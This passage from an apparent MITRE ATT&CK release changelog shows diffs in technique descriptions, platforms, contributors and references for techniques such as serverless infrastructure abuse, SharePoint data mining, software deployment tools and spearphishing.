| g/techniques/T1596)), establishing operational resources (ex | | g/techniques/T1596)), establishing operational resources (ex |
| : [Establish Accounts](https://attack.mitre.org/techniques/T | | : [Establish Accounts](https://attack.mitre.org/techniques/T |
| 1585) or [Compromise Accounts](https://attack.mitre.org/tech | | 1585) or [Compromise Accounts](https://attack.mitre.org/tech |
| niques/T1586)), and/or initial access (ex: [Trusted Relation | | niques/T1586)), and/or initial access (ex: [Trusted Relation |
| ship](https://attack.mitre.org/techniques/T1199) or [Phishin | | ship](https://attack.mitre.org/techniques/T1199) or [Phishin |
| g](https://attack.mitre.org/techniques/T1566)). | | g](https://attack.mitre.org/techniques/T1566)). In addition |
| | | to manually browsing the website, adversaries may attempt t |
| | | o identify hidden directories or files that could contain ad |
| | | ditional sensitive information or vulnerable functionality. |
| | | They may do this through automated activities such as [Wordl |
| | | ist Scanning](https://attack.mitre.org/techniques/T1595/003) |
| | | , as well as by leveraging files such as sitemap.xml and rob |
| | | ots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Registe |
| | | r Robots TXT 2015) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_contributors | | ['James P Callahan, Professional Paranoid'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:53:33.023000+00:00 | 2024-10-02 18:52:21.278000+00:00 |
| description | Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)
Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)
Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).
In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015) |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Perez Sitemap XML 2023', 'description': 'Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.', 'url': 'https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a'} |
| external_references | | {'source_name': 'Register Robots TXT 2015', 'description': "Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.", 'url': 'https://www.theregister.com/2015/05/19/robotstxt/'} |
[T1583.007] Acquire Infrastructure: Serverless
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may purchase and configure serverless cloud infr | t | Adversaries may purchase and configure serverless cloud infr |
| astructure, such as Cloudflare Workers or AWS Lambda functio | | astructure, such as Cloudflare Workers, AWS Lambda functions |
| ns, that can be used during targeting. By utilizing serverle | | , or Google Apps Scripts, that can be used during targeting. |
| ss infrastructure, adversaries can make it more difficult to | | By utilizing serverless infrastructure, adversaries can mak |
| attribute infrastructure used during operations back to the | | e it more difficult to attribute infrastructure used during |
| m. Once acquired, the serverless runtime environment can be | | operations back to them. Once acquired, the serverless runt |
| leveraged to either respond directly to infected machines o | | ime environment can be leveraged to either respond directly |
| r to [Proxy](https://attack.mitre.org/techniques/T1090) traf | | to infected machines or to [Proxy](https://attack.mitre.org/ |
| fic to an adversary-owned command and control server.(Citati | | techniques/T1090) traffic to an adversary-owned command and |
| on: BlackWater Malware Cloudflare Workers)(Citation: AWS Lam | | control server.(Citation: BlackWater Malware Cloudflare Work |
| bda Redirector) As traffic generated by these functions will | | ers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Scr |
| appear to come from subdomains of common cloud providers, i | | ipt Abuse 2021) As traffic generated by these functions will |
| t may be difficult to distinguish from ordinary traffic to t | | appear to come from subdomains of common cloud providers, i |
| hese providers.(Citation: Detecting Command & Control in the | | t may be difficult to distinguish from ordinary traffic to t |
| Cloud)(Citation: BlackWater Malware Cloudflare Workers) | | hese providers - making it easier to [Hide Infrastructure](h |
| | | ttps://attack.mitre.org/techniques/T1665).(Citation: Detecti |
| | | ng Command & Control in the Cloud)(Citation: BlackWater Malw |
| | | are Cloudflare Workers) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-20 21:20:22.578000+00:00 | 2024-07-01 20:24:16.562000+00:00 |
| description | Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) | Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'GWS Apps Script Abuse 2021', 'description': 'Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.', 'url': 'https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette'} |
[T1584.007] Compromise Infrastructure: Serverless
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may compromise serverless cloud infrastructure, | t | Adversaries may compromise serverless cloud infrastructure, |
| such as Cloudflare Workers or AWS Lambda functions, that can | | such as Cloudflare Workers, AWS Lambda functions, or Google |
| be used during targeting. By utilizing serverless infrastru | | Apps Scripts, that can be used during targeting. By utilizin |
| cture, adversaries can make it more difficult to attribute i | | g serverless infrastructure, adversaries can make it more di |
| nfrastructure used during operations back to them. Once co | | fficult to attribute infrastructure used during operations b |
| mpromised, the serverless runtime environment can be leverag | | ack to them. Once compromised, the serverless runtime envi |
| ed to either respond directly to infected machines or to [Pr | | ronment can be leveraged to either respond directly to infec |
| oxy](https://attack.mitre.org/techniques/T1090) traffic to a | | ted machines or to [Proxy](https://attack.mitre.org/techniqu |
| n adversary-owned command and control server.(Citation: Blac | | es/T1090) traffic to an adversary-owned command and control |
| kWater Malware Cloudflare Workers)(Citation: AWS Lambda Redi | | server.(Citation: BlackWater Malware Cloudflare Workers)(Cit |
| rector) As traffic generated by these functions will appear | | ation: AWS Lambda Redirector)(Citation: GWS Apps Script Abus |
| to come from subdomains of common cloud providers, it may be | | e 2021) As traffic generated by these functions will appear |
| difficult to distinguish from ordinary traffic to these pro | | to come from subdomains of common cloud providers, it may be |
| viders.(Citation: Detecting Command & Control in the Cloud)( | | difficult to distinguish from ordinary traffic to these pro |
| Citation: BlackWater Malware Cloudflare Workers) | | viders - making it easier to [Hide Infrastructure](https://a |
| | | ttack.mitre.org/techniques/T1665).(Citation: Detecting Comma |
| | | nd & Control in the Cloud)(Citation: BlackWater Malware Clou |
| | | dflare Workers) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-20 21:19:57.555000+00:00 | 2024-10-03 14:18:34.045000+00:00 |
| description | Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) | Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'GWS Apps Script Abuse 2021', 'description': 'Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.', 'url': 'https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette'} |
[T1648] Serverless Execution
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may abuse serverless computing, integration, and | t | Adversaries may abuse serverless computing, integration, and |
| automation services to execute arbitrary code in cloud envi | | automation services to execute arbitrary code in cloud envi |
| ronments. Many cloud providers offer a variety of serverless | | ronments. Many cloud providers offer a variety of serverless |
| resources, including compute engines, application integrati | | resources, including compute engines, application integrati |
| on services, and web servers. Adversaries may abuse these | | on services, and web servers. Adversaries may abuse these |
| resources in various ways as a means of executing arbitrary | | resources in various ways as a means of executing arbitrary |
| commands. For example, adversaries may use serverless functi | | commands. For example, adversaries may use serverless functi |
| ons to execute malicious code, such as crypto-mining malware | | ons to execute malicious code, such as crypto-mining malware |
| (i.e. [Resource Hijacking](https://attack.mitre.org/techniq | | (i.e. [Resource Hijacking](https://attack.mitre.org/techniq |
| ues/T1496)).(Citation: Cado Security Denonia) Adversaries ma | | ues/T1496)).(Citation: Cado Security Denonia) Adversaries ma |
| y also create functions that enable further compromise of th | | y also create functions that enable further compromise of th |
| e cloud environment. For example, an adversary may use the ` | | e cloud environment. For example, an adversary may use the ` |
| IAM:PassRole` permission in AWS or the `iam.serviceAccounts. | | IAM:PassRole` permission in AWS or the `iam.serviceAccounts. |
| actAs` permission in Google Cloud to add [Additional Cloud R | | actAs` permission in Google Cloud to add [Additional Cloud R |
| oles](https://attack.mitre.org/techniques/T1098/003) to a se | | oles](https://attack.mitre.org/techniques/T1098/003) to a se |
| rverless cloud function, which may then be able to perform a | | rverless cloud function, which may then be able to perform a |
| ctions the original user cannot.(Citation: Rhino Security La | | ctions the original user cannot.(Citation: Rhino Security La |
| bs AWS Privilege Escalation)(Citation: Rhingo Security Labs | | bs AWS Privilege Escalation)(Citation: Rhingo Security Labs |
| GCP Privilege Escalation) Serverless functions can also be | | GCP Privilege Escalation) Serverless functions can also be |
| invoked in response to cloud events (i.e. [Event Triggered E | | invoked in response to cloud events (i.e. [Event Triggered E |
| xecution](https://attack.mitre.org/techniques/T1546)), poten | | xecution](https://attack.mitre.org/techniques/T1546)), poten |
| tially enabling persistent execution over time. For example, | | tially enabling persistent execution over time. For example, |
| in AWS environments, an adversary may create a Lambda funct | | in AWS environments, an adversary may create a Lambda funct |
| ion that automatically adds [Additional Cloud Credentials](h | | ion that automatically adds [Additional Cloud Credentials](h |
| ttps://attack.mitre.org/techniques/T1098/001) to a user and | | ttps://attack.mitre.org/techniques/T1098/001) to a user and |
| a corresponding CloudWatch events rule that invokes that fun | | a corresponding CloudWatch events rule that invokes that fun |
| ction whenever a new user is created.(Citation: Backdooring | | ction whenever a new user is created.(Citation: Backdooring |
| an AWS account) Similarly, an adversary may create a Power A | | an AWS account) This is also possible in many cloud-based of |
| utomate workflow in Office 365 environments that forwards al | | fice application suites. For example, in Microsoft 365 envir |
| l emails a user receives or creates anonymous sharing links | | onments, an adversary may create a Power Automate workflow t |
| whenever a user is granted access to a document in SharePoin | | hat forwards all emails a user receives or creates anonymous |
| t.(Citation: Varonis Power Automate Data Exfiltration)(Citat | | sharing links whenever a user is granted access to a docume |
| ion: Microsoft DART Case Report 001) | | nt in SharePoint.(Citation: Varonis Power Automate Data Exfi |
| | | ltration)(Citation: Microsoft DART Case Report 001) In Googl |
| | | e Workspace environments, they may instead create an Apps Sc |
| | | ript that exfiltrates a user's data when they open a file.(C |
| | | itation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CE |
| | | RT Google App Script 2024) |
New Mitigations:
- M1036: Account Use Policies
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-05 16:13:38.643000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| description | Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.
Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)
Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) | Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.
Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)
Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.(Citation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CERT Google App Script 2024) |
| x_mitre_version | 1.0 | 1.1 |
| x_mitre_platforms[2] | Office 365 | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Cloud Hack Tricks GWS Apps Script', 'description': 'HackTricks Cloud. (n.d.). GWS - App Scripts. Retrieved July 1, 2024.', 'url': 'https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts'} |
| external_references | | {'source_name': 'OWN-CERT Google App Script 2024', 'description': "L'Hutereau Arnaud. (n.d.). Google Workspace Malicious App Script analysis. Retrieved October 2, 2024.", 'url': 'https://www.own.security/ressources/blog/google-workspace-malicious-app-script-analysis'} |
| x_mitre_contributors | | OWN |
[T1499.002] Endpoint Denial of Service: Service Exhaustion Flood
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:43.164000+00:00 | 2024-10-15 16:05:48.014000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Google Workspace | |
[T1213.002] Data from Information Repositories: Sharepoint
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may leverage the SharePoint repository as a sour | t | Adversaries may leverage the SharePoint repository as a sour |
| ce to mine valuable information. SharePoint will often conta | | ce to mine valuable information. SharePoint will often conta |
| in useful information for an adversary to learn about the st | | in useful information for an adversary to learn about the st |
| ructure and functionality of the internal network and system | | ructure and functionality of the internal network and system |
| s. For example, the following is a list of example informati | | s. For example, the following is a list of example informati |
| on that may hold potential value to an adversary and may als | | on that may hold potential value to an adversary and may als |
| o be found on SharePoint: * Policies, procedures, and stand | | o be found on SharePoint: * Policies, procedures, and stand |
| ards * Physical / logical network diagrams * System architec | | ards * Physical / logical network diagrams * System architec |
| ture diagrams * Technical system documentation * Testing / d | | ture diagrams * Technical system documentation * Testing / d |
| evelopment credentials * Work / project schedules * Source c | | evelopment credentials (i.e., [Unsecured Credentials](https: |
| ode snippets * Links to network shares and other internal re | | //attack.mitre.org/techniques/T1552)) * Work / project sched |
| sources | | ules * Source code snippets * Links to network shares and ot |
| | | her internal resources |
New Detections:
- DS0025: Cloud Service (Cloud Service Metadata)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_contributors | | ['Arun Seelagan, CISA'] |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-06-08 17:10:31.187000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| description | Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
| Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
|
| x_mitre_version | 1.0 | 1.1 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Cloud Service: Cloud Service Metadata |
[T1072] Software Deployment Tools
Current version: 3.1
Version changed from: 3.0 → 3.1
|
|
|---|
| t | Adversaries may gain access to and use centralized software | t | Adversaries may gain access to and use centralized software |
| suites installed within an enterprise to execute commands an | | suites installed within an enterprise to execute commands an |
| d move laterally through the network. Configuration manageme | | d move laterally through the network. Configuration manageme |
| nt and software deployment applications may be used in an en | | nt and software deployment applications may be used in an en |
| terprise network or cloud environment for routine administra | | terprise network or cloud environment for routine administra |
| tion purposes. These systems may also be integrated into CI/ | | tion purposes. These systems may also be integrated into CI/ |
| CD pipelines. Examples of such solutions include: SCCM, HBSS | | CD pipelines. Examples of such solutions include: SCCM, HBSS |
| , Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, | | , Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, |
| and GCP Deployment Manager. Access to network-wide or en | | and GCP Deployment Manager. Access to network-wide or en |
| terprise-wide endpoint management software may enable an adv | | terprise-wide endpoint management software may enable an adv |
| ersary to achieve remote code execution on all connected sys | | ersary to achieve remote code execution on all connected sys |
| tems. The access may be used to laterally move to other syst | | tems. The access may be used to laterally move to other syst |
| ems, gather information, or cause a specific effect, such as | | ems, gather information, or cause a specific effect, such as |
| wiping the hard drives on all endpoints. SaaS-based config | | wiping the hard drives on all endpoints. SaaS-based config |
| uration management services may allow for broad [Cloud Admin | | uration management services may allow for broad [Cloud Admin |
| istration Command](https://attack.mitre.org/techniques/T1651 | | istration Command](https://attack.mitre.org/techniques/T1651 |
| ) on cloud-hosted instances, as well as the execution of arb | | ) on cloud-hosted instances, as well as the execution of arb |
| itrary commands on on-premises endpoints. For example, Micro | | itrary commands on on-premises endpoints. For example, Micro |
| soft Configuration Manager allows Global or Intune Administr | | soft Configuration Manager allows Global or Intune Administr |
| ators to run scripts as SYSTEM on on-premises devices joined | | ators to run scripts as SYSTEM on on-premises devices joined |
| to Azure AD.(Citation: SpecterOps Lateral Movement from Azu | | to Entra ID.(Citation: SpecterOps Lateral Movement from Azu |
| re to On-Prem AD 2020) Such services may also utilize [Web P | | re to On-Prem AD 2020) Such services may also utilize [Web P |
| rotocols](https://attack.mitre.org/techniques/T1071/001) to | | rotocols](https://attack.mitre.org/techniques/T1071/001) to |
| communicate back to adversary owned infrastructure.(Citation | | communicate back to adversary owned infrastructure.(Citation |
| : Mitiga Security Advisory: SSM Agent as Remote Access Troja | | : Mitiga Security Advisory: SSM Agent as Remote Access Troja |
| n) Network infrastructure devices may also have configurati | | n) Network infrastructure devices may also have configurati |
| on management tools that can be similarly abused by adversar | | on management tools that can be similarly abused by adversar |
| ies.(Citation: Fortinet Zero-Day and Custom Malware Used by | | ies.(Citation: Fortinet Zero-Day and Custom Malware Used by |
| Suspected Chinese Actor in Espionage Operation) The permiss | | Suspected Chinese Actor in Espionage Operation) The permiss |
| ions required for this action vary by system configuration; | | ions required for this action vary by system configuration; |
| local credentials may be sufficient with direct access to th | | local credentials may be sufficient with direct access to th |
| e third-party system, or specific domain credentials may be | | e third-party system, or specific domain credentials may be |
| required. However, the system may require an administrative | | required. However, the system may require an administrative |
| account to log in or to access specific functionality. | | account to log in or to access specific functionality. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-12 03:40:37.954000+00:00 | 2024-09-25 20:49:37.227000+00:00 |
| description | Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.
Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)
Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)
The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality. | Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.
Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)
Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)
The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality. |
| x_mitre_version | 3.0 | 3.1 |
[T1566.002] Phishing: Spearphishing Link
Current version: 2.7
Version changed from: 2.6 → 2.7
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-15 23:51:25.037000+00:00 | 2024-10-15 16:06:32.591000+00:00 |
| external_references[1]['url'] | https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf | https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf |
| x_mitre_version | 2.6 | 2.7 |
| x_mitre_platforms[5] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
[T1566.004] Phishing: Spearphishing Voice
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-15 11:49:40.990000+00:00 | 2024-10-15 16:06:47.134000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| x_mitre_platforms[3] | Office 365 | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Google Workspace | |
[T1528] Steal Application Access Token
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-24 19:41:54.832000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
| x_mitre_platforms[2] | Azure AD | IaaS |
| x_mitre_platforms[3] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
